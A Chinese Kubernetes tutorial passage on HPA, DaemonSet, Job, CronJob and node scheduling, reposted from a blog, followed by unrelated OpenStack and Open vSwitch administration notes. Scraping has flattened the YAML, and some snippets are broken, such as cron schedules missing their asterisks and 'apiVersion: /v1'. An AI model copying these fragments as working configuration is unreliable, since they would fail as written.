pc-deployment -n dev 监控更新的过程kubectl get rs -n dev -o wide 确保更新的pod没问题了,继续更新kubectl rollout resume deploy pc-deployment -n dev 如果有问题,就回退到上个版本回退到上个版本kubectl rollout undo deployment pc-deployment -n dev Horizontal Pod Autoscaler 简称HPA,使用deployment可以手动调整pod的数量来实现扩容和缩容;但是这显然不符合k8s的自动化的定位,k8s期望可以通过检测pod的使用情况,实现pod数量自动调整,于是就有了HPA控制器; HPA可以获取每个Pod利用率,然后和HPA中定义的指标进行对比,同时计算出需要伸缩的具体值,最后实现Pod的数量的调整。比如说我指定了一个规则:当我的cpu利用率达到90%或者内存使用率到达80%的时候,就需要进行调整pod的副本数量,每次添加n个pod副本; 其实HPA与之前的Deployment一样,也属于一种Kubernetes资源对象,它通过追踪分析ReplicaSet控制器的所有目标Pod的负载变化情况,来确定是否需要针对性地调整目标Pod的副本数,也就是HPA管理Deployment,Deployment管理ReplicaSet,ReplicaSet管理pod,这是HPA的实现原理。 1、安装metrics-server metrics-server可以用来收集集群中的资源使用情况 安装git[root@k8s-master01 ~] yum install git -y 获取metrics-server, 注意使用的版本[root@k8s-master01 ~] git clone -b v0.3.6 https://github.com/kubernetes-incubator/metrics-server 修改deployment, 注意修改的是镜像和初始化参数[root@k8s-master01 ~] cd /root/metrics-server/deploy/1.8+/[root@k8s-master01 1.8+] vim metrics-server-deployment.yaml按图中添加下面选项hostNetwork: trueimage: registry.cn-hangzhou.aliyuncs.com/google_containers/metrics-server-amd64:v0.3.6args:- --kubelet-insecure-tls- --kubelet-preferred-address-types=InternalIP,Hostname,InternalDNS,ExternalDNS,ExternalIP 2、安装metrics-server [root@k8s-master01 1.8+] kubectl apply -f ./ 3、查看pod运行情况 [root@k8s-master01 1.8+] kubectl get pod -n kube-systemmetrics-server-6b976979db-2xwbj 1/1 Running 0 90s 4、使用kubectl top node 查看资源使用情况 [root@k8s-master01 1.8+] kubectl top nodeNAME CPU(cores) CPU% MEMORY(bytes) MEMORY%k8s-master01 289m 14% 1582Mi 54% k8s-node01 81m 4% 1195Mi 40% k8s-node02 72m 3% 1211Mi 41% [root@k8s-master01 1.8+] kubectl top pod -n kube-systemNAME CPU(cores) MEMORY(bytes)coredns-6955765f44-7ptsb 3m 9Micoredns-6955765f44-vcwr5 3m 8Mietcd-master 14m 145Mi... 至此,metrics-server安装完成 5、 准备deployment和servie 创建pc-hpa-pod.yaml文件,内容如下: apiVersion: apps/v1kind: Deploymentmetadata:name: nginxnamespace: devspec:strategy: 策略type: RollingUpdate 滚动更新策略replicas: 1selector:matchLabels:app: nginx-podtemplate:metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1resources: 资源配额limits: 限制资源(上限)cpu: "1" CPU限制,单位是core数requests: 请求资源(下限)cpu: "100m" CPU限制,单位是core数 创建deployment [root@k8s-master01 1.8+] kubectl run nginx --image=nginx:1.17.1 --requests=cpu=100m -n dev 6、创建service [root@k8s-master01 1.8+] kubectl expose deployment nginx --type=NodePort --port=80 -n dev 7、查看 [root@k8s-master01 1.8+] kubectl get deployment,pod,svc -n devNAME READY UP-TO-DATE AVAILABLE AGEdeployment.apps/nginx 1/1 1 1 47sNAME READY STATUS RESTARTS AGEpod/nginx-7df9756ccc-bh8dr 1/1 Running 0 47sNAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGEservice/nginx NodePort 10.101.18.29 <none> 80:31830/TCP 35s 8、 部署HPA 创建pc-hpa.yaml文件,内容如下: apiVersion: autoscaling/v1kind: HorizontalPodAutoscalermetadata:name: pc-hpanamespace: devspec:minReplicas: 1 最小pod数量maxReplicas: 10 最大pod数量 ,pod数量会在1~10之间自动伸缩targetCPUUtilizationPercentage: 3 CPU使用率指标,如果cpu使用率达到3%就会进行扩容;为了测试方便,将这个数值调小一些scaleTargetRef: 指定要控制的nginx信息apiVersion: /v1kind: Deploymentname: nginx 创建hpa [root@k8s-master01 1.8+] kubectl create -f pc-hpa.yamlhorizontalpodautoscaler.autoscaling/pc-hpa created 查看hpa [root@k8s-master01 1.8+] kubectl get hpa -n devNAME REFERENCE TARGETS MINPODS MAXPODS REPLICAS AGEpc-hpa Deployment/nginx 0%/3% 1 10 1 62s 9、 测试 使用压测工具对service地址192.168.5.4:31830进行压测,然后通过控制台查看hpa和pod的变化 hpa变化 [root@k8s-master01 ~] kubectl get hpa -n dev -wNAME REFERENCE TARGETS MINPODS MAXPODS REPLICAS AGEpc-hpa Deployment/nginx 0%/3% 1 10 1 4m11spc-hpa Deployment/nginx 0%/3% 1 10 1 5m19spc-hpa Deployment/nginx 22%/3% 1 10 1 6m50spc-hpa Deployment/nginx 22%/3% 1 10 4 7m5spc-hpa Deployment/nginx 22%/3% 1 10 8 7m21spc-hpa Deployment/nginx 6%/3% 1 10 8 7m51spc-hpa Deployment/nginx 0%/3% 1 10 8 9m6spc-hpa Deployment/nginx 0%/3% 1 10 8 13mpc-hpa Deployment/nginx 0%/3% 1 10 1 14m deployment变化 [root@k8s-master01 ~] kubectl get deployment -n dev -wNAME READY UP-TO-DATE AVAILABLE AGEnginx 1/1 1 1 11mnginx 1/4 1 1 13mnginx 1/4 1 1 13mnginx 1/4 1 1 13mnginx 1/4 4 1 13mnginx 1/8 4 1 14mnginx 1/8 4 1 14mnginx 1/8 4 1 14mnginx 1/8 8 1 14mnginx 2/8 8 2 14mnginx 3/8 8 3 14mnginx 4/8 8 4 14mnginx 5/8 8 5 14mnginx 6/8 8 6 14mnginx 7/8 8 7 14mnginx 8/8 8 8 15mnginx 8/1 8 8 20mnginx 8/1 8 8 20mnginx 1/1 1 1 20m pod变化 [root@k8s-master01 ~] kubectl get pods -n dev -wNAME READY STATUS RESTARTS AGEnginx-7df9756ccc-bh8dr 1/1 Running 0 11mnginx-7df9756ccc-cpgrv 0/1 Pending 0 0snginx-7df9756ccc-8zhwk 0/1 Pending 0 0snginx-7df9756ccc-rr9bn 0/1 Pending 0 0snginx-7df9756ccc-cpgrv 0/1 ContainerCreating 0 0snginx-7df9756ccc-8zhwk 0/1 ContainerCreating 0 0snginx-7df9756ccc-rr9bn 0/1 ContainerCreating 0 0snginx-7df9756ccc-m9gsj 0/1 Pending 0 0snginx-7df9756ccc-g56qb 0/1 Pending 0 0snginx-7df9756ccc-sl9c6 0/1 Pending 0 0snginx-7df9756ccc-fgst7 0/1 Pending 0 0snginx-7df9756ccc-g56qb 0/1 ContainerCreating 0 0snginx-7df9756ccc-m9gsj 0/1 ContainerCreating 0 0snginx-7df9756ccc-sl9c6 0/1 ContainerCreating 0 0snginx-7df9756ccc-fgst7 0/1 ContainerCreating 0 0snginx-7df9756ccc-8zhwk 1/1 Running 0 19snginx-7df9756ccc-rr9bn 1/1 Running 0 30snginx-7df9756ccc-m9gsj 1/1 Running 0 21snginx-7df9756ccc-cpgrv 1/1 Running 0 47snginx-7df9756ccc-sl9c6 1/1 Running 0 33snginx-7df9756ccc-g56qb 1/1 Running 0 48snginx-7df9756ccc-fgst7 1/1 Running 0 66snginx-7df9756ccc-fgst7 1/1 Terminating 0 6m50snginx-7df9756ccc-8zhwk 1/1 Terminating 0 7m5snginx-7df9756ccc-cpgrv 1/1 Terminating 0 7m5snginx-7df9756ccc-g56qb 1/1 Terminating 0 6m50snginx-7df9756ccc-rr9bn 1/1 Terminating 0 7m5snginx-7df9756ccc-m9gsj 1/1 Terminating 0 6m50snginx-7df9756ccc-sl9c6 1/1 Terminating 0 6m50s DaemonSet 简称DS,ds可以保证在集群中的每一台节点(或指定节点)上都运行一个副本,一般适用于日志收集、节点监控等场景;也就是说,如果一个Pod提供的功能是节点级别的(每个节点都需要且只需要一个),那么这类Pod就适合使用DaemonSet类型的控制器创建。 DaemonSet控制器的特点: 每当向集群中添加一个节点时,指定的 Pod 副本也将添加到该节点上 当节点从集群中移除时,Pod 也就被垃圾回收了 配置模板 apiVersion: apps/v1 版本号kind: DaemonSet 类型 metadata: 元数据name: rs名称 namespace: 所属命名空间 labels: 标签controller: daemonsetspec: 详情描述revisionHistoryLimit: 3 保留历史版本updateStrategy: 更新策略type: RollingUpdate 滚动更新策略rollingUpdate: 滚动更新maxUnavailable: 1 最大不可用状态的 Pod 的最大值,可以为百分比,也可以为整数selector: 选择器,通过它指定该控制器管理哪些podmatchLabels: Labels匹配规则app: nginx-podmatchExpressions: Expressions匹配规则- {key: app, operator: In, values: [nginx-pod]}template: 模板,当副本数量不足时,会根据下面的模板创建pod副本metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1ports:- containerPort: 80 1、创建ds 创建pc-daemonset.yaml,内容如下: apiVersion: apps/v1kind: DaemonSet metadata:name: pc-daemonsetnamespace: devspec: selector:matchLabels:app: nginx-podtemplate:metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1 运行 创建daemonset[root@k8s-master01 ~] kubectl create -f pc-daemonset.yamldaemonset.apps/pc-daemonset created 查看daemonset[root@k8s-master01 ~] kubectl get ds -n dev -o wideNAME DESIRED CURRENT READY UP-TO-DATE AVAILABLE AGE CONTAINERS IMAGES pc-daemonset 2 2 2 2 2 24s nginx nginx:1.17.1 查看pod,发现在每个Node上都运行一个pod[root@k8s-master01 ~] kubectl get pods -n dev -o wideNAME READY STATUS RESTARTS AGE IP NODE pc-daemonset-9bck8 1/1 Running 0 37s 10.244.1.43 node1 pc-daemonset-k224w 1/1 Running 0 37s 10.244.2.74 node2 2、删除daemonset [root@k8s-master01 ~] kubectl delete -f pc-daemonset.yamldaemonset.apps "pc-daemonset" deleted Job 主要用于负责批量处理一次性(每个任务仅运行一次就结束)任务。当然,你也可以运行多次,配置好即可,Job特点如下: 当Job创建的pod执行成功结束时,Job将记录成功结束的pod数量 当成功结束的pod达到指定的数量时,Job将完成执行 配置模板 apiVersion: batch/v1 版本号kind: Job 类型 metadata: 元数据name: rs名称 namespace: 所属命名空间 labels: 标签controller: jobspec: 详情描述completions: 1 指定job需要成功运行Pods的次数。默认值: 1parallelism: 1 指定job在任一时刻应该并发运行Pods的数量。默认值: 1activeDeadlineSeconds: 30 指定job可运行的时间期限,超过时间还未结束,系统将会尝试进行终止。backoffLimit: 6 指定job失败后进行重试的次数。默认是6manualSelector: true 是否可以使用selector选择器选择pod,默认是falseselector: 选择器,通过它指定该控制器管理哪些podmatchLabels: Labels匹配规则app: counter-podmatchExpressions: Expressions匹配规则- {key: app, operator: In, values: [counter-pod]}template: 模板,当副本数量不足时,会根据下面的模板创建pod副本metadata:labels:app: counter-podspec:restartPolicy: Never 重启策略只能设置为Never或者OnFailurecontainers:- name: counterimage: busybox:1.30command: ["bin/sh","-c","for i in 9 8 7 6 5 4 3 2 1; do echo $i;sleep 2;done"] 关于重启策略设置的说明:(这里只能设置为Never或者OnFailure) 如果指定为OnFailure,则job会在pod出现故障时重启容器,而不是创建pod,failed次数不变 如果指定为Never,则job会在pod出现故障时创建新的pod,并且故障pod不会消失,也不会重启,failed次数加1 如果指定为Always的话,就意味着一直重启,意味着job任务会重复去执行了,当然不对,所以不能设置为Always 1、创建一个job 创建pc-job.yaml,内容如下: apiVersion: batch/v1kind: Job metadata:name: pc-jobnamespace: devspec:manualSelector: trueselector:matchLabels:app: counter-podtemplate:metadata:labels:app: counter-podspec:restartPolicy: Nevercontainers:- name: counterimage: busybox:1.30command: ["bin/sh","-c","for i in 9 8 7 6 5 4 3 2 1; do echo $i;sleep 3;done"] 创建 创建job[root@k8s-master01 ~] kubectl create -f pc-job.yamljob.batch/pc-job created 查看job[root@k8s-master01 ~] kubectl get job -n dev -o wide -wNAME COMPLETIONS DURATION AGE CONTAINERS IMAGES SELECTORpc-job 0/1 21s 21s counter busybox:1.30 app=counter-podpc-job 1/1 31s 79s counter busybox:1.30 app=counter-pod 通过观察pod状态可以看到,pod在运行完毕任务后,就会变成Completed状态[root@k8s-master01 ~] kubectl get pods -n dev -wNAME READY STATUS RESTARTS AGEpc-job-rxg96 1/1 Running 0 29spc-job-rxg96 0/1 Completed 0 33s 接下来,调整下pod运行的总数量和并行数量 即:在spec下设置下面两个选项 completions: 6 指定job需要成功运行Pods的次数为6 parallelism: 3 指定job并发运行Pods的数量为3 然后重新运行job,观察效果,此时会发现,job会每次运行3个pod,总共执行了6个pod[root@k8s-master01 ~] kubectl get pods -n dev -wNAME READY STATUS RESTARTS AGEpc-job-684ft 1/1 Running 0 5spc-job-jhj49 1/1 Running 0 5spc-job-pfcvh 1/1 Running 0 5spc-job-684ft 0/1 Completed 0 11spc-job-v7rhr 0/1 Pending 0 0spc-job-v7rhr 0/1 Pending 0 0spc-job-v7rhr 0/1 ContainerCreating 0 0spc-job-jhj49 0/1 Completed 0 11spc-job-fhwf7 0/1 Pending 0 0spc-job-fhwf7 0/1 Pending 0 0spc-job-pfcvh 0/1 Completed 0 11spc-job-5vg2j 0/1 Pending 0 0spc-job-fhwf7 0/1 ContainerCreating 0 0spc-job-5vg2j 0/1 Pending 0 0spc-job-5vg2j 0/1 ContainerCreating 0 0spc-job-fhwf7 1/1 Running 0 2spc-job-v7rhr 1/1 Running 0 2spc-job-5vg2j 1/1 Running 0 3spc-job-fhwf7 0/1 Completed 0 12spc-job-v7rhr 0/1 Completed 0 12spc-job-5vg2j 0/1 Completed 0 12s 2、删除 删除jobkubectl delete -f pc-job.yaml CronJob 简称为CJ,CronJob控制器以 Job控制器资源为其管控对象,并借助它管理pod资源对象,Job控制器定义的作业任务在其控制器资源创建之后便会立即执行,但CronJob可以以类似于Linux操作系统的周期性任务作业计划的方式控制其运行时间点及重复运行的方式。也就是说,CronJob可以在特定的时间点(反复的)去运行job任务。可以理解为定时任务 配置模板 apiVersion: batch/v1beta1 版本号kind: CronJob 类型 metadata: 元数据name: rs名称 namespace: 所属命名空间 labels: 标签controller: cronjobspec: 详情描述schedule: cron格式的作业调度运行时间点,用于控制任务在什么时间执行concurrencyPolicy: 并发执行策略,用于定义前一次作业运行尚未完成时是否以及如何运行后一次的作业failedJobHistoryLimit: 为失败的任务执行保留的历史记录数,默认为1successfulJobHistoryLimit: 为成功的任务执行保留的历史记录数,默认为3startingDeadlineSeconds: 启动作业错误的超时时长jobTemplate: job控制器模板,用于为cronjob控制器生成job对象;下面其实就是job的定义metadata:spec:completions: 1parallelism: 1activeDeadlineSeconds: 30backoffLimit: 6manualSelector: trueselector:matchLabels:app: counter-podmatchExpressions: 规则- {key: app, operator: In, values: [counter-pod]}template:metadata:labels:app: counter-podspec:restartPolicy: Never containers:- name: counterimage: busybox:1.30command: ["bin/sh","-c","for i in 9 8 7 6 5 4 3 2 1; do echo $i;sleep 20;done"] cron表达式写法 需要重点解释的几个选项:schedule: cron表达式,用于指定任务的执行时间/1 <分钟> <小时> <日> <月份> <星期>分钟 值从 0 到 59.小时 值从 0 到 23.日 值从 1 到 31.月 值从 1 到 12.星期 值从 0 到 6, 0 代表星期日多个时间可以用逗号隔开; 范围可以用连字符给出;可以作为通配符; /表示每... 例如1 // 每个小时的第一分钟执行/1 // 每分钟都执行concurrencyPolicy:Allow: 允许Jobs并发运行(默认)Forbid: 禁止并发运行,如果上一次运行尚未完成,则跳过下一次运行Replace: 替换,取消当前正在运行的作业并用新作业替换它 1、创建cronJob 创建pc-cronjob.yaml,内容如下: apiVersion: batch/v1beta1kind: CronJobmetadata:name: pc-cronjobnamespace: devlabels:controller: cronjobspec:schedule: "/1 " 每分钟执行一次jobTemplate:metadata:spec:template:spec:restartPolicy: Nevercontainers:- name: counterimage: busybox:1.30command: ["bin/sh","-c","for i in 9 8 7 6 5 4 3 2 1; do echo $i;sleep 3;done"] 运行 创建cronjob[root@k8s-master01 ~] kubectl create -f pc-cronjob.yamlcronjob.batch/pc-cronjob created 查看cronjob[root@k8s-master01 ~] kubectl get cronjobs -n devNAME SCHEDULE SUSPEND ACTIVE LAST SCHEDULE AGEpc-cronjob /1 False 0 <none> 6s 查看job[root@k8s-master01 ~] kubectl get jobs -n devNAME COMPLETIONS DURATION AGEpc-cronjob-1592587800 1/1 28s 3m26spc-cronjob-1592587860 1/1 28s 2m26spc-cronjob-1592587920 1/1 28s 86s 查看pod[root@k8s-master01 ~] kubectl get pods -n devpc-cronjob-1592587800-x4tsm 0/1 Completed 0 2m24spc-cronjob-1592587860-r5gv4 0/1 Completed 0 84spc-cronjob-1592587920-9dxxq 1/1 Running 0 24s 2、删除cronjob kubectl delete -f pc-cronjob.yaml pod调度 什么是调度 默认情况下,一个pod在哪个node节点上运行,是通过scheduler组件采用相应的算法计算出来的,这个过程是不受人工控制的; 调度规则 但是在实际使用中,我们想控制某些pod定向到达某个节点上,应该怎么做呢?其实k8s提供了四类调度规则 调度方式 描述 自动调度 通过scheduler组件采用相应的算法计算得出运行在哪个节点上 定向调度 运行到指定的node节点上,通过NodeName、NodeSelector实现 亲和性调度 跟谁关系好就调度到哪个节点上 1、nodeAffinity :节点亲和性,调度到关系好的节点上 2、podAffinity:pod亲和性,调度到关系好的pod所在的节点上 3、PodAntAffinity:pod反清河行,调度到关系差的那个pod所在的节点上 污点(容忍)调度 污点是站在node的角度上的,比如果nodeA有一个污点,大家都别来,此时nodeA会拒绝master调度过来的pod 定向调度 指的是利用在pod上声明nodeName或nodeSelector的方式将pod调度到指定的pod节点上,因为这种定向调度是强制性的,所以如果node节点不存在的话,也会向上面进行调度,只不过pod会运行失败; 1、定向调度-> nodeName nodeName 是将pod强制调度到指定名称的node节点上,这种方式跳过了scheduler的调度逻辑,直接将pod调度到指定名称的节点上,配置文件内容如下 apiVersion: v1 版本号kind: Pod 资源类型metadata: name: pod-namenamespace: devspec: containers: - image: nginx:1.17.1name: nginx-containernodeName: node1 调度到node1节点上 2、定向调度 -> NodeSelector NodeSelector是将pod调度到添加了指定label标签的node节点上,它是通过k8s的label-selector机制实现的,也就是说,在创建pod之前,会由scheduler用matchNodeSelecto调度策略进行label标签的匹配,找出目标node,然后在将pod调度到目标node; 要实验NodeSelector,首先得给node节点加上label标签 kubectl label nodes node1 nodetag=node1 配置文件内容如下 apiVersion: v1 版本号kind: Pod 资源类型metadata: name: pod-namenamespace: devspec: containers: - image: nginx:1.17.1name: nginx-containernodeSelector: nodetag: node1 调度到具有nodetag=node1标签的节点上 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_27184497/article/details/121765387。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-09-29 09:08:28
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...测试端口可连接性 curl -u admin:admin http://10.13.80.34:8181/controller/nb/v2/neutron/networks odl配置文件修改 etc/custom.properties ovsdb.l3.fwd.enabled=yes ovsdb.l3gateway.mac=0a:00:27:00:00:0d telnet 10.13.80.34 8181 netstat -nlp | grep 8181 telnet 127.0.0.1 8181 telnet 10.13.80.34 8181 systemctl status firewall iptables iptables -nvL iptables -F 清空iptables openstack server create --flavor tiny --image cirros --nic net-id=24449ee2-b84e-493f-8d76-139ac3e4f3cd --key-name mykey provider-instance nova service-list nova show ae5e26d1-c84d-40fa-bb27-f0b46d6a7061 查看虚机详情 ovs-vsctl set Open_vSwitch 89444614-3bf8-4d7a-b3a0-df5d20b48b7a other_config={'local_ip'='192.168.56.102'} ovs-vsctl set Open_vSwitch b084eccf-b92e-470c-8dff-8549e92c2104 other_config={'local_ip'='192.168.56.122'} ovs-vsctl list interface eth0 ovs-appctl fdb/show br-int [root@rcontroller01 ~] openstack security group rule list 2e19a748-9086-49f8-9498-01abc1a964fe 一个神奇的命令 +--------------------------------------+-------------+-----------+------------+--------------------------------------+ | ID | IP Protocol | IP Range | Port Range | Remote Security Group | +--------------------------------------+-------------+-----------+------------+--------------------------------------+ | 0184e6b3-4f7f-4fd5-8125-b80682e7ee48 | None | None | | 2e19a748-9086-49f8-9498-01abc1a964fe | | 1e0bfedc-8f25-408a-9328-708113bbbc52 | icmp | 0.0.0.0/0 | | None | | 39116d39-454b-4d82-867e-bbfd3ea63182 | None | None | | None | | 4032366f-3ac9-4862-85a7-c7411a8b7678 | None | None | | 2e19a748-9086-49f8-9498-01abc1a964fe | | dc7bc251-f0d0-456a-9102-c5b66646aa84 | tcp | 0.0.0.0/0 | 22:22 | None | | ddacf7ea-57ea-4c8a-8b68-093766284595 | None | None | | None | +--------------------------------------+-------------+-----------+------------+--------------------------------------+ dpif/dump-flows dp 想控制端打印dp中流表的所有条目。 这个命令主要来与debugOpen Vswitch.它所打印的流表不是openFlow的流条目。 它打印的是由dp模块维护的简单的流。 如果你想查看OpenFlow条目,请使用ovs-ofctl dump-flows。dpif/del-fow dp 删除指定dp上所有流表。同上所述,这些不是OpenFlow流表。 ovs-appctl dpif/dump-flows br-int 创建网络 openstack network create --share --external --provider-physical-network provider --provider-network-type flat provider $ openstack subnet create --network provider \ --allocation-pool start=192.168.56.100,end=192.168.56.200 \ --dns-nameserver 8.8.8.8 --gateway 192.168.56.1 \ --subnet-range 192.168.56.0/24 provider openstack network create selfservice $ openstack subnet create --network selfservice \ --dns-nameserver 8.8.8.8 --gateway 192.168.1.1 \ --subnet-range 192.168.1.0/24 selfservice openstack router create router openstack router add subnet router selfservice openstack router set router --external-gateway provider openstack port list --router router +--------------------------------------+------+-------------------+-------------------------------------------------------------------------------+--------+ | ID | Name | MAC Address | Fixed IP Addresses | Status | +--------------------------------------+------+-------------------+-------------------------------------------------------------------------------+--------+ | bff6605d-824c-41f9-b744-21d128fc86e1 | | fa:16:3e:2f:34:9b | ip_address='172.16.1.1', subnet_id='3482f524-8bff-4871-80d4-5774c2730728' | ACTIVE | | d6fe98db-ae01-42b0-a860-37b1661f5950 | | fa:16:3e:e8:c1:41 | ip_address='203.0.113.102', subnet_id='5cc70da8-4ee7-4565-be53-b9c011fca011' | ACTIVE | +--------------------------------------+------+-------------------+-------------------------------------------------------------------------------+--------+ $ ping -c 4 203.0.113.102 创建虚机 openstack keypair list $ ssh-keygen -q -N "" $ openstack keypair create --public-key ~/.ssh/id_rsa.pub mykey openstack flavor list openstack image list openstack network list openstack server create --flavor tiny --image cirros --nic net-id=27616098-0374-4ab4-95a8-b5bf4839dcf8 --key-name mykey provider-instance 网络配置 python /usr/lib/python2.7/site-packages/networking_odl/cmd/set_ovs_hostconfigs.py --ovs_hostconfigs='{ "ODL L2": { "allowed_network_types": [ "flat", "vlan", "vxlan" ], "bridge_mappings": { "provider": "br-int" }, "supported_vnic_types": [ { "vnic_type": "normal", "vif_type": "ovs", "vif_details": {} } ] }, "ODL L3": {} }' ovs-vsctl list open . [2019/1/16 19:09] 高正伟: ovs-vsctl set Open_vSwitch . other_config:local_ip=hostip ovs-vsctl set Open_vSwitch . other_config:local_ip=192.168.56.122 ovs-vsctl set Open_vSwitch . other_config:remote_ip=192.168.56.122 ovs-vsctl remove interface tunca7b782f232 options remote_ip ovs-vsctl set Open_vSwitch . other_config:provider_mappings=provider:br-ex ovs-vsctl set Open_vSwitch . external_ids:provider_mappings="{\"provider\": \"br-ex\"}" 清空 ovs-vsctl clear Open_vSwitch . external_ids ovs-vsctl set-manager tcp:10.13.80.34:6640 ovs-vsctl set-controller br-ex tcp:10.13.80.34:6640 ovs-vsctl del-controller br-ex sudo neutron-odl-ovs-hostconfig ovs-vsctl show ovs-vsctl add-port <bridge name> <port name> ovs-vsctl add-port br-ex enp0s10 ovs-vsctl del-port br-ex phy-br-ex ovs-vsctl del-port br-ex tun2ad7e9e91e4 重启odl后 systemctl restart openvswitch.service systemctl restart neutron-server.service systemctl stop neutron-server.service 创建虚机 openstack network create --share --external --provider-physical-network provider --provider-network-type flat provider openstack subnet create --network provider --allocation-pool start=192.168.56.2,end=192.168.56.100 --dns-nameserver 8.8.8.8 --gateway 192.168.56.1 --subnet-range 192.168.56.0/24 provider nova boot --image cirros --flavor tiny --nic net-id= --availability-zone nova:rcontroller01 vm-01 openstack server create --flavor tiny --image cirros --nic net-id= --key-name mykey test nova boot --image cirros --flavor tiny --nic net-id=0fe983c2-8178-403b-a00e-e8561580b210 --availability-zone nova:rcontroller01 vm-01 虚机可以学习到mac但是ping不通 抓包,先在虚机网卡上抓包, 然后在br-int上抓包 发现虚拟网卡上是发送了icmp请求报文的,但是br-int上没有 查看报文情况 [root@rcontroller01 ~] ovs-appctl dpif/dump-flows br-int recirc_id(0),tunnel(tun_id=0x0,src=192.168.56.102,dst=192.168.56.122,flags(-df-csum+key)),in_port(4),eth(),eth_type(0x0800),ipv4(proto=17,frag=no),udp(dst=3784), packets:266436, bytes:17584776, used:0.591s, actions:userspace(pid=4294962063,slow_path(bfd)) recirc_id(0xa0),in_port(5),ct_state(+new-est-rel-inv+trk),ct_mark(0/0x1),eth(),eth_type(0x0800),ipv4(frag=no), packets:148165, bytes:14520170, used:0.566s, actions:drop recirc_id(0),in_port(3),eth(),eth_type(0x0806), packets:1, bytes:60, used:5.228s, actions:drop recirc_id(0),tunnel(tun_id=0xb,src=192.168.56.102,dst=192.168.56.122,flags(-df-csum+key)),in_port(4),eth(dst=fa:16:3e:ab:ba:7e),eth_type(0x0806), packets:0, bytes:0, used:never, actions:5 recirc_id(0),in_port(5),eth(src=fa:16:3e:ab:ba:7e),eth_type(0x0800),ipv4(src=192.168.0.16,proto=1,frag=no), packets:148165, bytes:14520170, used:0.566s, actions:ct(zone=5004),recirc(0xa0) recirc_id(0),in_port(3),eth(),eth_type(0x0800),ipv4(frag=no), packets:886646, bytes:316947183, used:0.210s, flags:SFPR., actions:drop recirc_id(0),in_port(5),eth(src=fa:16:3e:ab:ba:7e,dst=fa:16:3e:7d:95:75),eth_type(0x0806),arp(sip=192.168.0.16,tip=192.168.0.5,op=1/0xff,sha=fa:16:3e:ab:ba:7e), packets:0, bytes:0, used:never, actions:userspace(pid=4294961925,controller(reason=4,dont_send=0,continuation=0,recirc_id=4618,rule_cookie=0x822002d,controller_id=0,max_len=65535)),set(tunnel(tun_id=0xb,src=192.168.56.122,dst=192.168.56.102,ttl=64,tp_dst=4789,flags(df|key))),4 安全组设置 openstack security group rule create --proto tcp 2e19a748-9086-49f8-9498-01abc1a964fe openstack security group rule create --proto tcp 6095293d-c2cd-433d-8a8f-e77ecb03609e openstack security group rule create --proto udp 2e19a748-9086-49f8-9498-01abc1a964fe openstack security group rule create --proto udp 6095293d-c2cd-433d-8a8f-e77ecb03609e ovs-vsctl add-port br-ex "ex-patch-int" ovs-vsctl set interface "ex-patch-int" type=patch ovs-vsctl set interface "ex-patch-int" options:peer=int-patch-ex ovs-vsctl add-port br-int "int-patch-ex" ovs-vsctl set interface "int-patch-ex" type=patch ovs-vsctl set interface "int-patch-ex" options:peer=ex-patch-int ovs-vsctl del-port br-ex "ex-patch-int" ovs-vsctl del-port br-int "int-patch-ex" ovs-vsctl del-port br-ex enp0s9 ovs-vsctl add-port br-int enp0s9 ovs-appctl ofproto/trace 重要命令 sudo ovs-ofctl -O OpenFlow13 show br-int sudo ovs-appctl ofproto/trace br-int "in_port=5,ip,nw_src=192.168.0.16,nw_dst=192.168.0.5" ovs-appctl dpctl/dump-conntrack 11.查看接口id等 ovs-appctl dpif/show 12.查看接口统计 ovs-ofctl dump-ports br-int 查看接口 sudo ovs-ofctl show br-int -O OpenFlow13 ovs常用命令 控制管理类 1.查看网桥和端口 ovs-vsctl show 1 2.创建一个网桥 ovs-vsctl add-br br0 ovs-vsctl set bridge br0 datapath_type=netdev 1 2 3.添加/删除一个端口 for system interfaces ovs-vsctl add-port br0 eth1 ovs-vsctl del-port br0 eth1 for DPDK ovs-vsctl add-port br0 dpdk1 -- set interface dpdk1 type=dpdk options:dpdk-devargs=0000:01:00.0 for DPDK bonds ovs-vsctl add-bond br0 dpdkbond0 dpdk1 dpdk2 \ -- set interface dpdk1 type=dpdk options:dpdk-devargs=0000:01:00.0 \ -- set interface dpdk2 type=dpdk options:dpdk-devargs=0000:02:00.0 1 2 3 4 5 6 7 8 9 4.设置/清除网桥的openflow协议版本 ovs-vsctl set bridge br0 protocols=OpenFlow13 ovs-vsctl clear bridge br0 protocols 1 2 5.查看某网桥当前流表 ovs-ofctl dump-flows br0 ovs-ofctl -O OpenFlow13 dump-flows br0 ovs-appctl bridge/dump-flows br0 1 2 3 6.设置/删除控制器 ovs-vsctl set-controller br0 tcp:1.2.3.4:6633 ovs-vsctl del-controller br0 1 2 7.查看控制器列表 ovs-vsctl list controller 1 8.设置/删除被动连接控制器 ovs-vsctl set-manager tcp:1.2.3.4:6640 ovs-vsctl get-manager ovs-vsctl del-manager 1 2 3 9.设置/移除可选选项 ovs-vsctl set Interface eth0 options:link_speed=1G ovs-vsctl remove Interface eth0 options link_speed 1 2 10.设置fail模式,支持standalone或者secure standalone(default):清除所有控制器下发的流表,ovs自己接管 secure:按照原来流表继续转发 ovs-vsctl del-fail-mode br0 ovs-vsctl set-fail-mode br0 secure ovs-vsctl get-fail-mode br0 1 2 3 11.查看接口id等 ovs-appctl dpif/show 1 12.查看接口统计 ovs-ofctl dump-ports br0 1 流表类 流表操作 1.添加普通流表 ovs-ofctl add-flow br0 in_port=1,actions=output:2 1 2.删除所有流表 ovs-ofctl del-flows br0 1 3.按匹配项来删除流表 ovs-ofctl del-flows br0 "in_port=1" 1 匹配项 1.匹配vlan tag,范围为0-4095 ovs-ofctl add-flow br0 priority=401,in_port=1,dl_vlan=777,actions=output:2 1 2.匹配vlan pcp,范围为0-7 ovs-ofctl add-flow br0 priority=401,in_port=1,dl_vlan_pcp=7,actions=output:2 1 3.匹配源/目的MAC ovs-ofctl add-flow br0 in_port=1,dl_src=00:00:00:00:00:01/00:00:00:00:00:01,actions=output:2 ovs-ofctl add-flow br0 